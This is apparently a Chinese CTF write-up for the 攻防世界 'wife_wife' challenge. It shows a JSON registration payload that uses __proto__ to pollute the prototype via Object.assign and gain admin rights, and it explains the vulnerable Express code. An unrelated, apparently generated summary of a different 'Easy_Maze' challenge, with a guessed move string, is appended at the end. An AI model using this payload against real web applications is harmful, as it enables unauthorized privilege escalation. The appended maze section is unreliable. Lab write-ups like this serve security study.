攻防世界 wife_wife

文章介绍了如何通过修改payload,利用JavaScript中的__proto__属性在注册过程中进行原型链污染,从而绕过权限检查成功注册,并详细解释了原型链的工作原理以及Object.assign在其中的角色。通过这个例子,揭示了Web应用中可能存在的安全问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查看提示:不需要爆破

进入到靶场中,发现需要注册用户

到达注册页面,is admin需要打勾,并输入同样

burpsuite抓包
原来payload:{"username":"1","password":"1","isAdmin":true,"inviteCode":"1"}
payload:{"username":"1","password":"1","__proto__":{"isAdmin":true},"inviteCode":"1"}

放包即可注册成功,不需要重放 ,然后登录刚刚注册好的页面
得到最终的flag CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

 原型链污染

prototype是newClass类的一个属性。newClass 实例化的对象 newObj 的 .__proto__ 指向 newClass 类的 prototype

function newClass() {this.test = 1;
}var newObj = new newClass();
1
2
JSON 解析的情况下,__proto__ 会被认为是一个真正的“键名”,而不代表“原型”。如果是let o2 = {a: 1, "__proto__": {b: 2}}则__proto__会被认为是o2的原型。如果作为键名(不会被解析)就会作为子类的原型

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
原文:https://blog.csdn.net/m0_47210241/article/details/129717963

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

查阅资料,原来Object.assign也能触发原型链污染。let newUser = Object.assign({}, baseUser, user)的作用是把baseUser和user的属性合并后拷贝到{}中,即newUser是baseUser和user的集合体。baseUser猜测是user类似父类的东西,user应该就是上面的{"username":"b","password":"b","isAdmin":false}部分了。

### 关于攻防世界 Easy_Maze 的解题思路 #### 题目背景 Easy_maze 是一款基于字符串输入的简单迷宫游戏,玩家通过键盘输入特定字符序列完成迷宫路径规划并最终获得 flag。这类题目通常涉及基础的逆向分析以及简单的逻辑推理。 #### 解题方法概述 根据已知信息[^4],该关卡的核心在于理解如何利用 `wsad` 控制角色移动方向以穿越迷宫。具体来说: - **输入方式**:程序接受一系列由字母组成的字符串作为指令集。 - **功能映射**: - 字母 `w` 表示向上移动; - 字母 `s` 表示向下移动; - 字母 `a` 表示向左移动; - 字母 `d` 表示向右移动; 此部分可以通过阅读源码或者调试工具反汇编得到结论[^3]。 #### 实际操作流程 为了成功通关 easy_maze 并获取最终答案 UNCTF{...} ,需要按照如下方式进行尝试: 1. 使用动态调试器加载二进制文件观察执行过程中的分支条件变化情况。 2. 结合静态代码审查确认每一步合法动作范围及其触发机制。 3. 构造满足所有约束条件的有效路径表达式提交验证服务器校验正确性。 以下是可能的一个解决方案实例演示代码片段: ```python solution = "ssddwdwdddssaasasaaassddddwdds" print(f"The solution to the maze is {solution}") ``` 上述脚本定义了解决方案变量 solution,并打印出完整的行动轨迹供参考者复制粘贴至目标平台界面测试效果。 #### 总结 通过对 easy_maze 的深入剖析可以看出,此类 CTF 类型竞赛项目主要考察参赛选手对于基本计算机科学概念的理解程度以及实际动手解决问题的能力水平。掌握好相关基础知识能够帮助我们更加高效地应对各种复杂场景下的挑战任务。
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